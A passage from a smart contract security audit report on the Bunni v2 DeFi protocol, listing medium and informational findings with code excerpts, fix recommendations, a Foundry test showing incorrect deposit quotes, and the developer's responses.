        return true;
    }
```

The missing `alphaX96` validation can result in the potential issue described in the `LibGeometricDistribution` comment:

```
    function isValidParams(int24 tickSpacing, uint24 twapSecondsAgo, bytes32 ldfParams) internal pure
    ↪   returns (bool) {
        ...
        // ensure alpha is in range
        if (alpha < MIN_ALPHA || alpha > MAX_ALPHA || alpha == ALPHA_BASE) return false;

@>      // ensure alpha != sqrtRatioTickSpacing which would cause cum0 to always be 0
        uint256 alphaX96 = alpha.mulDiv(Q96, ALPHA_BASE);
        uint160 sqrtRatioTickSpacing = tickSpacing.getSqrtPriceAtTick();
        if (alphaX96 == sqrtRatioTickSpacing) return false;
```

Additionally, `LibBuyTheDipGeometricDistribution::geometricIsValidParams` does not validate the minimum liquidity densities, unlike `LibGeometricDistribution::isValidParams`.

Impact: The current implementation of `LibBuyTheDipGeometricDistribution::geometricIsValidParams` does not prevent configuration with an `alpha` that can cause unexpected behavior, resulting in swaps and deposits reverting.

Recommended Mitigation: Ensure that `alpha` is in range:

```
        if (alpha < MIN_ALPHA || alpha > MAX_ALPHA || alpha == ALPHA_BASE) return false;
++      // ensure alpha != sqrtRatioTickSpacing which would cause cum0 to always be 0
++      uint256 alphaX96 = alpha.mulDiv(Q96, ALPHA_BASE);
++      uint160 sqrtRatioTickSpacing = tickSpacing.getSqrtPriceAtTick();
++      if (alphaX96 == sqrtRatioTickSpacing) return false;
```

Additionally ensure the liquidity density is nowhere equal to zero, but rather at least `MIN_LIQUIDITY_DENSITY`.

Bacon Labs: Fixed in PR #103. The minimum liquidity check is intentionally omitted to allow the alternative LDF to be at a lower price where the default LDF may have less than the minimum required liquidity.

Cyfrin: Verified, the alpha validation has been added to `LibBuyTheDipGeometricDistribution::geometricIsValidParams`.

7.4.4 Queued withdrawals should use an external protocol-owned unlocker to prevent `BunniHub` earning referral rewards

Description: When the am-AMM is enabled with an active manager, withdrawals must be queued:

```
    function withdraw(HubStorage storage s, Env calldata env, IBunniHub.WithdrawParams calldata params)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /// -----------------------------------------------------------------------
        /// Validation
        /// -----------------------------------------------------------------------

        if (!params.useQueuedWithdrawal && params.shares == 0) revert BunniHub__ZeroInput();

        PoolId poolId = params.poolKey.toId();
        PoolState memory state = getPoolState(s, poolId);
        IBunniHook hook = IBunniHook(address(params.poolKey.hooks));

        IAmAmm.Bid memory topBid = hook.getTopBidWrite(poolId);
@>      if (hook.getAmAmmEnabled(poolId) && topBid.manager != address(0) &&
↪   !params.useQueuedWithdrawal) {
            revert BunniHub__NeedToUseQueuedWithdrawal();
    }
```

The caller's Bunni tokens are transferred to the `BunniHub`, where they are escrowed until the `WITHDRAW_DELAY` has passed:

```
    function queueWithdraw(HubStorage storage s, IBunniHub.QueueWithdrawParams calldata params)
    ↪ external {
        /// -----------------------------------------------------------------------
        /// Validation
        /// -----------------------------------------------------------------------

        PoolId id = params.poolKey.toId();
        IBunniToken bunniToken = _getBunniTokenOfPool(s, id);
        if (address(bunniToken) == address(0)) revert BunniHub__BunniTokenNotInitialized();

        /// -----------------------------------------------------------------------
        /// State updates
        /// -----------------------------------------------------------------------

        address msgSender = LibMulticaller.senderOrSigner();
        QueuedWithdrawal memory queued = s.queuedWithdrawals[id][msgSender];

        // update queued withdrawal
        // use unchecked to get unlockTimestamp to overflow back to 0 if overflow occurs
        // which is fine since we only care about relative time
        uint56 newUnlockTimestamp;
        unchecked {
            newUnlockTimestamp = uint56(block.timestamp) + WITHDRAW_DELAY;
        }
        if (queued.shareAmount != 0) {
            // requeue expired queued withdrawal
            if (queued.unlockTimestamp + WITHDRAW_GRACE_PERIOD >= block.timestamp) {
                revert BunniHub__NoExpiredWithdrawal();
            }
            s.queuedWithdrawals[id][msgSender].unlockTimestamp = newUnlockTimestamp;
        } else {
            // create new queued withdrawal
            if (params.shares == 0) revert BunniHub__ZeroInput();
            s.queuedWithdrawals[id][msgSender] =
                QueuedWithdrawal({shareAmount: params.shares, unlockTimestamp: newUnlockTimestamp});
        }

        /// -----------------------------------------------------------------------
        /// External calls
        /// -----------------------------------------------------------------------

        if (queued.shareAmount == 0) {
            // transfer shares from msgSender to address(this)
@>          bunniToken.transferFrom(msgSender, address(this), params.shares);
        }

        emit IBunniHub.QueueWithdraw(msgSender, id, params.shares);
    }
```

However, this overlooks the fact that `BunniToken` inherits `ERC20Referrer` and invokes transfer hooks that update referrer scores. Given that the `BunniHub` does not specify a referrer of its own, this results in referral rewards being earned for the protocol when they should instead continue to be applied to the caller's actual referrer.

Impact: Queued withdrawals can result in referrers losing out on distributed rewards.

Recommended Mitigation: Rather than transferring Bunni tokens queued for withdrawal to the `BunniHub`, consider implementing a separate `IERC20Unlocker` contract which locks the queued tokens on queued withdrawal and unlocks them again after the delay has passed. This would also help to prevent potential collision with nested Bunni token reserves held by the `BunniHub`.

Bacon Labs: Acknowledged. We're OK with the existing implementation since withdrawals are only queued for very short amounts of time so the referral rewards going to the protocol would be minimal.

Cyfrin: Acknowledged, assuming queued withdrawals are indeed processed within the expected time frame.

7.4.5 Potential erroneous surging when vault token decimals differ from the underlying asset

Description: When the vault share prices are computed in `BunniHookLogic::_shouldSurgeFromVaults`, the logic assumes that the vault share token decimals will be equal to the decimals of the underlying asset:

```
// compute current share prices
uint120 sharePrice0 =
    bunniState.reserve0 == 0 ? 0 : reserveBalance0.divWadUp(bunniState.reserve0).toUint120();
uint120 sharePrice1 =
    bunniState.reserve1 == 0 ? 0 : reserveBalance1.divWadUp(bunniState.reserve1).toUint120();
// compare with share prices at last swap to see if we need to apply the surge fee
// surge fee is applied if the share price has increased by more than 1 / vaultSurgeThreshold
shouldSurge = prevSharePrices.initialized
    && (
        dist(sharePrice0, prevSharePrices.sharePrice0)
            > prevSharePrices.sharePrice0 / hookParams.vaultSurgeThreshold0
            || dist(sharePrice1, prevSharePrices.sharePrice1)
                > prevSharePrices.sharePrice1 / hookParams.vaultSurgeThreshold1
    );
```

Here, `reserveBalance0/1` is in the decimals of the underlying asset, whereas `bunniState.reserve0/1` is in the decimals of the vault share token. As a result, the computed `sharePrice0/1` could be significantly more/less than the expected 18 decimals.

While the ERC-4626 specification strongly recommends that the vault share token decimals mirror those of the underlying asset, this is not always the case. For example, this Morpho vault has an 18-decimal share token whereas the underlying WBTC has 8 decimals. Such a vault strictly conforming to the standard would break the assumption that share prices are always in `WAD` precision, but rather 8 corresponding to the underlying, and could result in a surge being considered necessary even if this shouldn't have been the case.

Considering a `vaultSurgeThreshold` of `1e3` as specified in the tests, the logic will trigger a surge when the absolute share price difference is greater than 0.1%. In the above case where share price is in 8 decimals, assuming that the share price is greater than 1 would mean that the threshold could be specified as at most `0.000001%`. This is not a problem when the maximum possible threshold of `type(uint16).max` is specified, since this corresponds to approximately `0.0015%`, but if the vault has negative yield then this can make the share price drop below 1 and the possible precision even further with it, amplified further still for larger differences between vault/asset decimals that result in even lower-precision share prices. In the worst case, while quite unlikely, this division rounds down to zero and a surge is executed when it is not actually needed, since any absolute change in share price will be greater than zero. The threshold is immutable, so it would not be trivial to avoid such a situation.

Additionally, this edge case results in the possibility for vault share prices to overflow `uint120` when the share token decimals are smaller than those of the underlying asset. For example, a 6-decimal share token for an 18-decimal underlying asset would overflow when a single share is worth more than `1_329_388` assets.

Impact: Surging when not needed may cause existing rebalance orders to be cleared when this is not actually desired, as well as computing a larger dynamic/surge fee than should be required which could prevent users from swapping. Overflowing share prices would result in DoS for swaps.

Recommended Mitigation: Explicitly handle the vault share token and underlying asset decimals to ensure that share prices are always in the expected 18-decimal precision.

Bacon Labs: Fixed in PR #100.

Cyfrin: Verified, the token/vault values are now explicitly scaled during share price calculation in `_shouldSurgeFromVaults()`.

7.4.6 Missing validation in `BunniQuoter` results in incorrect quotes

Description: `BunniQuoter::quoteDeposit` assumes that caller provided the correct vault fee; however, if a vault fee of zero is passed for a vault that has a non-zero vault fee, the returned quote will be incorrect as shown in the PoC below. Additionally, for the case where there is an existing share supply, this function is missing validation against existing token amounts. Specifically, when both token amounts are zero, the `BunniHub` reverts execution whereas the quoter will return success along with a share amount of `type(uint256).max`:

```
    ...
    if (existingShareSupply == 0) {
        // ensure that the added amounts are not too small to mess with the shares math
        if (addedAmount0 < MIN_DEPOSIT_BALANCE_INCREASE && addedAmount1 < MIN_DEPOSIT_BALANCE_INCREASE)
        ↪  {
            revert BunniHub__DepositAmountTooSmall();
        }
        // no existing shares, just give WAD
        shares = WAD - MIN_INITIAL_SHARES;
        // prevent first staker from stealing funds of subsequent stakers
        // see https://code4rena.com/reports/2022-01-sherlock/#h-01-first-user-can-steal-everyone-elses ⌋
        ↪  -tokens
        shareToken.mint(address(0), MIN_INITIAL_SHARES, address(0));
    } else {
        // given that the position may become single-sided, we need to handle the case where one of the
        ↪  existingAmount values is zero
@>      if (existingAmount0 == 0 && existingAmount1 == 0) revert BunniHub__ZeroSharesMinted();
        shares = FixedPointMathLib.min(
            existingAmount0 == 0 ? type(uint256).max : existingShareSupply.mulDiv(addedAmount0,
            ↪  existingAmount0),
            existingAmount1 == 0 ? type(uint256).max : existingShareSupply.mulDiv(addedAmount1,
            ↪  existingAmount1)
        );
        if (shares == 0) revert BunniHub__ZeroSharesMinted();
    }
    ...
```

`BunniQuoter::quoteWithdraw` is missing the validation required for queued withdrawals if there exists an am-AMM manager which can be fetched through the `getTopBid()` function that uses an static call:

```
    function quoteWithdraw(address sender, IBunniHub.WithdrawParams calldata params)
        external
        view
        override
        returns (bool success, uint256 amount0, uint256 amount1)
    {
        PoolId poolId = params.poolKey.toId();
        PoolState memory state = hub.poolState(poolId);
        IBunniHook hook = IBunniHook(address(params.poolKey.hooks));

++      IAmAmm.Bid memory topBid = hook.getTopBid(poolId);
++      if (hook.getAmAmmEnabled(poolId) && topBid.manager != address(0) &&
↪   !params.useQueuedWithdrawal) {
++          return (false, 0, 0);
++      }
        ...
    }
```

This function should also validate whether the sender has already an existing queued withdrawal. It is not currently possible to check this because the `BunniHub` does not expose any function to fetch queued withdrawals; however, it should be ensured that if `useQueuedWithdrawal` is true, the user has an existing queued withdrawal that is inside the executable timeframe. In this scenario, the token amount computations should be performed taking the amount of shares from the queued withdrawal.

Proof of Concept First create the following `ERC4626FeeMock` inside `test/mocks/ERC4626Mock.sol`:

```
contract ERC4626FeeMock is ERC4626 {
    address internal immutable _asset;
    uint256 public fee;
    uint256 internal constant MAX_FEE = 10000;

    constructor(IERC20 asset_, uint256 _fee) {
        _asset = address(asset_);
        if(_fee > MAX_FEE) revert();
        fee = _fee;
    }

    function setFee(uint256 newFee) external {
        if(newFee > MAX_FEE) revert();
        fee = newFee;
    }

    function deposit(uint256 assets, address to) public override returns (uint256 shares) {
        return super.deposit(assets - assets * fee / MAX_FEE, to);
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }
}
```

And add it into the `test/BaseTest.sol` imports:

```
--  import {ERC4626Mock} from "./mocks/ERC4626Mock.sol";
++  import {ERC4626Mock, ERC4626FeeMock} from "./mocks/ERC4626Mock.sol";
```

The following test can now be run inside `test/BunniHub.t.sol`:

```
function test_QuoterAssumingCorrectVaultFee() public {
    ILiquidityDensityFunction uniformDistribution = new UniformDistribution(address(hub),
    ↪  address(bunniHook), address(quoter));
    Currency currency0 = Currency.wrap(address(token0));
    Currency currency1 = Currency.wrap(address(token1));
    ERC4626FeeMock feeVault0 = new ERC4626FeeMock(token0, 0);
    ERC4626 vault0_ = ERC4626(address(feeVault0));
    ERC4626 vault1_ = ERC4626(address(0));
    IBunniToken bunniToken;
    PoolKey memory key;
    (bunniToken, key) = hub.deployBunniToken(
        IBunniHub.DeployBunniTokenParams({
            currency0: currency0,
            currency1: currency1,
            tickSpacing: TICK_SPACING,
            twapSecondsAgo: TWAP_SECONDS_AGO,
            liquidityDensityFunction: uniformDistribution,
            hooklet: IHooklet(address(0)),
            ldfType: LDFType.DYNAMIC_AND_STATEFUL,
            ldfParams: bytes32(abi.encodePacked(ShiftMode.STATIC, int24(-5) * TICK_SPACING, int24(5) *
            ↪  TICK_SPACING)),
            hooks: bunniHook,
            hookParams: abi.encodePacked(
                FEE_MIN,
                FEE_MAX,
                FEE_QUADRATIC_MULTIPLIER,
                FEE_TWAP_SECONDS_AGO,
                POOL_MAX_AMAMM_FEE,
                SURGE_HALFLIFE,
                SURGE_AUTOSTART_TIME,
                VAULT_SURGE_THRESHOLD_0,
                VAULT_SURGE_THRESHOLD_1,
                REBALANCE_THRESHOLD,
                REBALANCE_MAX_SLIPPAGE,
                REBALANCE_TWAP_SECONDS_AGO,
                REBALANCE_ORDER_TTL,
                true, // amAmmEnabled
                ORACLE_MIN_INTERVAL,
                MIN_RENT_MULTIPLIER
            ),
            vault0: vault0_,
            vault1: vault1_,
            minRawTokenRatio0: 0.20e6,
            targetRawTokenRatio0: 0.30e6,
            maxRawTokenRatio0: 0.40e6,
            minRawTokenRatio1: 0,
            targetRawTokenRatio1: 0,
            maxRawTokenRatio1: 0,
            sqrtPriceX96: TickMath.getSqrtPriceAtTick(0),
            name: bytes32("BunniToken"),
            symbol: bytes32("BUNNI-LP"),
            owner: address(this),
            metadataURI: "metadataURI",
            salt: bytes32(0)
        })
    );

    // make initial deposit to avoid accounting for MIN_INITIAL_SHARES
    uint256 depositAmount0 = 1e18 + 1;
    uint256 depositAmount1 = 1e18 + 1;
    address firstDepositor = makeAddr("firstDepositor");
    vm.startPrank(firstDepositor);
    token0.approve(address(PERMIT2), type(uint256).max);
    token1.approve(address(PERMIT2), type(uint256).max);
    PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
    PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
    vm.stopPrank();

    // mint tokens
    _mint(key.currency0, firstDepositor, depositAmount0 * 100);
    _mint(key.currency1, firstDepositor, depositAmount1 * 100);

    // deposit tokens
    IBunniHub.DepositParams memory depositParams = IBunniHub.DepositParams({
        poolKey: key,
        amount0Desired: depositAmount0,
        amount1Desired: depositAmount1,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        recipient: firstDepositor,
        refundRecipient: firstDepositor,
        vaultFee0: 0,
        vaultFee1: 0,
        referrer: address(0)
    });

    vm.prank(firstDepositor);
    (uint256 sharesFirstDepositor, uint256 firstDepositorAmount0In, uint256 firstDepositorAmount1In) =
    ↪  hub.deposit(depositParams);

    IdleBalance idleBalanceBefore = hub.idleBalance(key.toId());
    (uint256 idleAmountBefore, bool isToken0Before) =
    ↪  IdleBalanceLibrary.fromIdleBalance(idleBalanceBefore);
    feeVault0.setFee(1000);      // 10% fee

    depositAmount0 = 1e18;
    depositAmount1 = 1e18;
    address secondDepositor = makeAddr("secondDepositor");
    vm.startPrank(secondDepositor);
    token0.approve(address(PERMIT2), type(uint256).max);
    token1.approve(address(PERMIT2), type(uint256).max);
    PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
    PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
    vm.stopPrank();

    // mint tokens
    _mint(key.currency0, secondDepositor, depositAmount0);
    _mint(key.currency1, secondDepositor, depositAmount1);

    // deposit tokens
    depositParams = IBunniHub.DepositParams({
        poolKey: key,
        amount0Desired: depositAmount0,
        amount1Desired: depositAmount1,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        recipient: secondDepositor,
        refundRecipient: secondDepositor,
        vaultFee0: 0,
        vaultFee1: 0,
        referrer: address(0)
    });
    (bool success, uint256 previewedShares, uint256 previewedAmount0, uint256 previewedAmount1) =
    ↪  quoter.quoteDeposit(address(this), depositParams);

    vm.prank(secondDepositor);
    (uint256 sharesSecondDepositor, uint256 secondDepositorAmount0In, uint256 secondDepositorAmount1In)
    ↪  = hub.deposit(depositParams);

    console.log("Quote deposit will be successful?", success);
    console.log("Quoted shares to mint", previewedShares);
    console.log("Quoted token0 amount to use", previewedAmount0);
    console.log("Quoted token1 amount to use", previewedAmount1);
    console.log("---------------------------------------------------");
    console.log("Actual shares minted", sharesSecondDepositor);
    console.log("Actual token0 amount used", secondDepositorAmount0In);
    console.log("Actual token1 amount used", secondDepositorAmount1In);
}
```

Output:

```
Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] test_QuoterAssumingCorrectVaultFee() (gas: 4773069)
Logs:
  Quote deposit will be successful? true
  Quoted shares to mint 1000000000000000000
  Quoted token0 amount to use 1000000000000000000
  Quoted token1 amount to use 1000000000000000000
  ---------------------------------------------------
  Actual shares minted 930000000000000000
  Actual token0 amount used 930000000000000000
  Actual token1 amount used 1000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.71s (4.45ms CPU time)

Ran 1 test suite in 1.71s (1.71s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: Implement the missing validation as described above.

Bacon Labs: Fixed in PR #122.

Cyfrin: Verified, additional validation has been added to `BunniQuoter` to match the behavior of `BunniHub`.

7.4.7 Before swap delta can exceed the actual specified amount for exact input swaps due to rounding

Description: When returning the `beforeSwapDelta` in `BunniHookLogic::beforeSwap`, the `actualInputAmount` is assigned as the maximum between the `amountSpecified` and the `inputAmount` calculated using Bunni swap math:

```
// return beforeSwapDelta
// take in max(amountSpecified, inputAmount) such that if amountSpecified is greater we just happily
↪  accept it
int256 actualInputAmount = FixedPointMathLib.max(-params.amountSpecified, inputAmount.toInt256());
inputAmount = uint256(actualInputAmount);
beforeSwapDelta = toBeforeSwapDelta({
    deltaSpecified: actualInputAmount.toInt128(),
    deltaUnspecified: -outputAmount.toInt256().toInt128()
});
```

The intention is to accept any excess specified amount as noted by the comment shown above; however, given that the computation of the input amount rounds up in the `BunniSwapMath::computeSwap` partial swap edge case shown below, this value could slightly exceed the specified amount when it should not be the case for an exact input swap.

```
// compute input and output token amounts
// NOTE: The rounding direction of all the values involved are correct:
// - cumulative amounts are rounded up
// - naiveSwapAmountIn is rounded up
// - naiveSwapAmountOut is rounded down
// - currentActiveBalance0 and currentActiveBalance1 are rounded down
// Overall this leads to inputAmount being rounded up and outputAmount being rounded down
// which is safe.
// Use subReLU so that when the computed output is somehow negative (most likely due to precision loss)
// we output 0 instead of reverting.
(inputAmount, outputAmount) = zeroForOne
    ? (
        updatedActiveBalance0 - input.currentActiveBalance0,
        subReLU(input.currentActiveBalance1, updatedActiveBalance1)
    )
    : (
        updatedActiveBalance1 - input.currentActiveBalance1,
        subReLU(input.currentActiveBalance0, updatedActiveBalance0)
    );

return (updatedSqrtPriceX96, updatedTick, inputAmount, outputAmount);
```

Impact: Rounding errors in the input amount could be propagated to exceed `amountSpecified` when this is not desired.

Recommended Mitigation: Only take in `max(amountSpecified, inputAmount)` if `amountSpecified > inputAmount` such that the actual input amount is not affected by rounding and exact input swaps truly are exact input; otherwise, there should likely be a revert.

Bacon Labs: Acknowledged, we prefer reverting in the case where `inputAmount > -amountSpecified` to be safe in case that the input amount `outputAmount` corresponds to is actually greater than `-amountSpecified` for whatever reason (likely precision errors).

Cyfrin: Acknowledged, the `PoolManager` will revert with `HookDeltaExceedsSwapAmount`.

7.5 Informational

7.5.1 References to missing am-AMM overrides should be removed

Description: The NatSpec of `BunniHook::_amAmmEnabled` references pool/global am-AMM overrides that appear to be missing. If, as suspected, they were they removed following a previous audit, all references should be removed.

```
/// @dev precedence is poolOverride > globalOverride > poolEnabled
function _amAmmEnabled(PoolId id) internal view virtual override returns (bool) {...}
```

Bacon Labs: Fixed in PR #105.

Cyfrin: Verified, the outdated comment has been removed.

7.5.2 Outdated references to implementation details in `ERC20Referrer` should be replaced

Description: `ERC20Referrer` makes multiple references to balances being stored as `uint232`, with the upper 24 bits of the storage slot used to store the lock flag and referrer; however, this is outdated as balances are now stored using 255 bits, with the singular highest bit used to store the log flag. For example:

```
/// @dev Balances are stored as uint232 instead of uint256 since the upper 24 bits
/// of the storage slot are used to store the lock flag & referrer.
/// Referrer 0 should be reserved for the protocol since it's the default referrer.
abstract contract ERC20Referrer is ERC20, IERC20Referrer, IERC20Lockable {
    /// -----------------------------------------------------------------------
    /// Errors
    /// -----------------------------------------------------------------------

    /// @dev Error when the balance overflows uint232.
    error BalanceOverflow(); // @audit-info - info: not uint232 but 255 bits
    ...
}
```

All outdated references to `uint232` and "upper 24 bits" should be replaced with the correct implementation details.

Bacon Labs: Fixed in PR #107.

Cyfrin: Verified, outdated comments in `ERC20Referrer` have been changed.

7.5.3 Unused errors can be removed

Description: The `BunniHub__InvalidReferrer()` and `BunniToken__ReferrerAddressIsZero()` errors declared in `Errors.sol` are unused.

Bacon Labs: Fixed in PR #108.

Cyfrin: Verified, the unused errors have been removed.

7.5.4 Bunni tokens can be deployed with arbitrary hooks

Description: It is understood that `BunniHubLogic::deployBunniToken` intentionally allows for Bunni tokens to be deployed with arbitrary hooks that conform to the `IBunniHook` interface but are not necessarily enforced to be the canonical `BunniHook`. As successfully demonstrated in a separate critical finding, while the raw balance and reserve accounting can appear to be robust against exploits from malicious hooks and their associated (potentially also malicious) vaults, this permisionless-ness greatly increases the overall attack surface. Additionally, as it is the `BunniHook` that handles internal accounting of the hook fee and LP referral rewards, a custom hook can simply modify these to avoid paying revenue to the protocol.

Bacon Labs: This was fixed in PR #95 with the addition of a hook whitelist.

Cyfrin: Verified, the hook whitelist prevents deployment of Bunni tokens with arbitrary hooks.

7.5.5 Unused return values can be removed

Description: `AmAmm::_updateAmAmmWrite` currently returns the manager of the top bid and its associated payload; however, in all invocations of this function the return values are never used. If they are not required, these unused return values should be removed.

Bacon Labs: Fixed in PR #7.

Cyfrin: Verified, the unused return value has been removed.

7.5.6 Missing early return case in `AmAmm::_updateAmAmmView`

Description: `AmAmm::_updateAmAmmWrite` runs the state machine to charge rent and update the top and next bids for a given pool, but returns early if the pool has already been updated in the given block as tracked by the `_lastUpdatedBlockIdx` state. `AmAmm::_updateAmAmmView` is a version of this function that does not modify state; however, it is missing the early return case shown below:

```
// early return if the pool has already been updated in this block
// condition is also true if no update has occurred for type(uint48).max blocks
// which is extremely unlikely
if (_lastUpdatedBlockIdx[id] == currentBlockIdx) {
    return (_topBids[id].manager, _topBids[id].payload);
}
```

While the `_lastUpdatedBlockIdx` state cannot be updated by the view function itself, the write version of the function may have already been called in the same block and as such would trigger the early return case.

Impact: `AmAmm::getTopBid` and `AmAmm::getNextBid` may return bids that are inconsistent with the actual state machine execution for a given block.

Recommended Mitigation: Add the missing validation to `AmAmm::_updateAmAmmView` so that it is equivalent to `AmAmm::_updateAmAmmWrite`, ignoring updates to state.

Bacon Labs: Fixed in PR #8.

Cyfrin: Verified, the early return in `_updateAmAmmView()` has been added for the case where the state machine was already updated the current block.

7.5.7 Infinite Permit2 approval is not recommended

Description: When creating a rebalance order in `RebalanceLogic::_createRebalanceOrder`, the `BunniHook` approves tokens to be spent by the Permit2 contract. Specifically, if the order input amount exceeds the existing allowance, the Permit2 contract is approved to spend the maximum uint for the given ERC-20 token as shown below:

```
// approve input token to permit2
if (inputERC20Token.allowance(address(this), env.permit2) < inputAmount) {
    address(inputERC20Token).safeApproveWithRetry(env.permit2, type(uint256).max);
}
```

While the `FloodPlain` pre/post rebalance callbacks no longer allow for direct calls to the Permit2 contract, this behavior is not recommended as dangling infinite approvals could still be exploited if another vulnerability were to be discovered. The `BunniHook` does not directly store the underlying reserves, but rather pulls/pushes ERC-6909 claim tokens to/from the `BunniHub`; however, it does store swap and hook fees which are paid in the underlying tokens of the pool and thus could be extracted once a rebalance order is made.

Recommended Mitigation: Consider moving the Permit2 approval to `BunniHook::_rebalancePrehookCallback` and resetting the Permit2 approval to zero in `BunniHook::_rebalancePosthookCallback`.

Bacon Labs: Fixed in PR #109. Note that resetting approval to Permit2 was not added to `BunniHook::_rebalancePosthookCallback()` because `FloodPlain` always transfers the full approved amount during order fulfillment.

Cyfrin: Verified, infinite approval to Permit2 during rebalance has been modified to the exact amount required by the rebalance order and moved to `BunniHook::_rebalancePrehookCallback`.

7.5.8 `idleBalance` argument is missing from `QueryLDF::queryLDF` NatSpec

Description: `QueryLDF::queryLDF` takes an argument `idleBalance` that is not currently but should be included in the function NatSpec.

```
/// @notice Queries the liquidity density function for the given pool and tick
/// @param key The pool key
/// @param sqrtPriceX96 The current sqrt price of the pool
/// @param tick The current tick of the pool
/// @param arithmeticMeanTick The TWAP oracle value
/// @param ldf The liquidity density function
/// @param ldfParams The parameters for the liquidity density function
/// @param ldfState The current state of the liquidity density function
/// @param balance0 The balance of token0 in the pool
/// @param balance1 The balance of token1 in the pool
/// @return totalLiquidity The total liquidity in the pool
/// @return totalDensity0X96 The total density of token0 in the pool, scaled by Q96
/// @return totalDensity1X96 The total density of token1 in the pool, scaled by Q96
/// @return liquidityDensityOfRoundedTickX96 The liquidity density of the rounded tick, scaled by Q96
/// @return activeBalance0 The active balance of token0 in the pool, which is the amount used by swap
↪  liquidity
/// @return activeBalance1 The active balance of token1 in the pool, which is the amount used by swap
↪  liquidity
/// @return newLdfState The new state of the liquidity density function
/// @return shouldSurge Whether the pool should surge
function queryLDF(
    PoolKey memory key,
    uint160 sqrtPriceX96,
    int24 tick,
    int24 arithmeticMeanTick,
    ILiquidityDensityFunction ldf,
    bytes32 ldfParams,
    bytes32 ldfState,
    uint256 balance0,
    uint256 balance1,
    IdleBalance idleBalance
)
```

Bacon Labs: Fixed in PR #110.

Cyfrin: Verified, `idleBalance` has been added to the `queryLDF()` NatSpec.

7.5.9 Uniswap v4 vendored library mismatch

Description: The codebase makes use of modified vendored versions of the `LiquidityAmounts` and `SqrtPriceMath` libraries (excluded from the scope of this review). However, the current implementation of the modified `LiquidityAmounts` library still references the original Uniswap v4 version of `SqrtPriceMath`, rather than the intended modified vendored version. This appears to be unintentional and affects the `queryLDF()` function which performs an unsafe downcast on `liquidityDensityOfRoundedTickX96` from `uint256` to `uint128` when invoking `LiquidityAmounts::getAmountsForLiquidity` as shown below:

```
(uint256 density0OfRoundedTickX96, uint256 density1OfRoundedTickX96) =
↪  LiquidityAmounts.getAmountsForLiquidity(
    sqrtPriceX96, roundedTickSqrtRatio, nextRoundedTickSqrtRatio,
    ↪  uint128(liquidityDensityOfRoundedTickX96), true
);
```

While a silent overflow is not possible so long as the invariant holds that the liquidity density of a single rounded tick cannot exceed the maximum normalized density of `Q96`, the `LiquidityAmounts` library should be updated to correctly reference the modified version such that the need to downcast is avoided completely.

Bacon Labs: Fixed in PR #111.

Cyfrin: Verified, the custom `SqrtPriceMath` library is now used within `LiquidityAmounts` instead of that from `v4-core`.

7.5.10 Unused constants can be removed

Description: `LibDoubleGeometricDistribution` and `LibCarpetedDoubleGeometricDistribution` both define the following constant:

```
uint256 internal constant MIN_LIQUIDITY_DENSITY = Q96 / 1e3;
```

However, both instances are unused and can be removed as they appear to have been erroneously copied from the `LibGeometricDistribution` and `LibCarpetedGeometricDistribution` libraries.

Bacon Labs: Fixed in PR #112.

Cyfrin: Verified, the unused constants have been removed from `LibCarpetedDoubleGeometricDistribution`.

7.5.11 `LibUniformDistribution::decodeParams` logic can be simplified

Description: When bounding the distribution to be within the range of usable ticks in the inner conditional statement of `LibUniformDistribution::decodeParams`, the logic is made unnecessarily convoluted. Rather than re-computing the length of the distribution before bounding the ticks, existing stack variables can be used to simplify this process and avoid unnecessary assignments.

```
/// @return tickLower The lower tick of the distribution
/// @return tickUpper The upper tick of the distribution
function decodeParams(int24 twapTick, int24 tickSpacing, bytes32 ldfParams)
    internal
    pure
    returns (int24 tickLower, int24 tickUpper, ShiftMode shiftMode)
{
    shiftMode = ShiftMode(uint8(bytes1(ldfParams)));

    if (shiftMode != ShiftMode.STATIC) {
        // | shiftMode - 1 byte | offset - 3 bytes | length - 3 bytes |
        int24 offset = int24(uint24(bytes3(ldfParams << 8))); // offset of tickLower from the twap tick
        int24 length = int24(uint24(bytes3(ldfParams << 32))); // length of the position in rounded
        ↪  ticks
        tickLower = roundTickSingle(twapTick + offset, tickSpacing);
        tickUpper = tickLower + length * tickSpacing;

        // bound distribution to be within the range of usable ticks
        (int24 minUsableTick, int24 maxUsableTick) =
            (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
@>      if (tickLower < minUsableTick) {
            int24 tickLength = tickUpper - tickLower;
            tickLower = minUsableTick;
            tickUpper = int24(FixedPointMathLib.min(tickLower + tickLength, maxUsableTick));
@>      } else if (tickUpper > maxUsableTick) {
            int24 tickLength = tickUpper - tickLower;
            tickUpper = maxUsableTick;
            tickLower = int24(FixedPointMathLib.max(tickUpper - tickLength, minUsableTick));
        }
    } else {
        ...
    }
}
```

Recommended Mitigation:

```
    /// @return tickLower The lower tick of the distribution
    /// @return tickUpper The upper tick of the distribution
    function decodeParams(int24 twapTick, int24 tickSpacing, bytes32 ldfParams)
        internal
        pure
        returns (int24 tickLower, int24 tickUpper, ShiftMode shiftMode)
    {
        shiftMode = ShiftMode(uint8(bytes1(ldfParams)));

        if (shiftMode != ShiftMode.STATIC) {
            // | shiftMode - 1 byte | offset - 3 bytes | length - 3 bytes |
            int24 offset = int24(uint24(bytes3(ldfParams << 8))); // offset of tickLower from the twap
            ↪  tick
            int24 length = int24(uint24(bytes3(ldfParams << 32))); // length of the position in rounded
            ↪  ticks
            tickLower = roundTickSingle(twapTick + offset, tickSpacing);
            tickUpper = tickLower + length * tickSpacing;

            // bound distribution to be within the range of usable ticks
            (int24 minUsableTick, int24 maxUsableTick) =
                (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
            if (tickLower < minUsableTick) {
--              int24 tickLength = tickUpper - tickLower;
--              tickLower = minUsableTick;
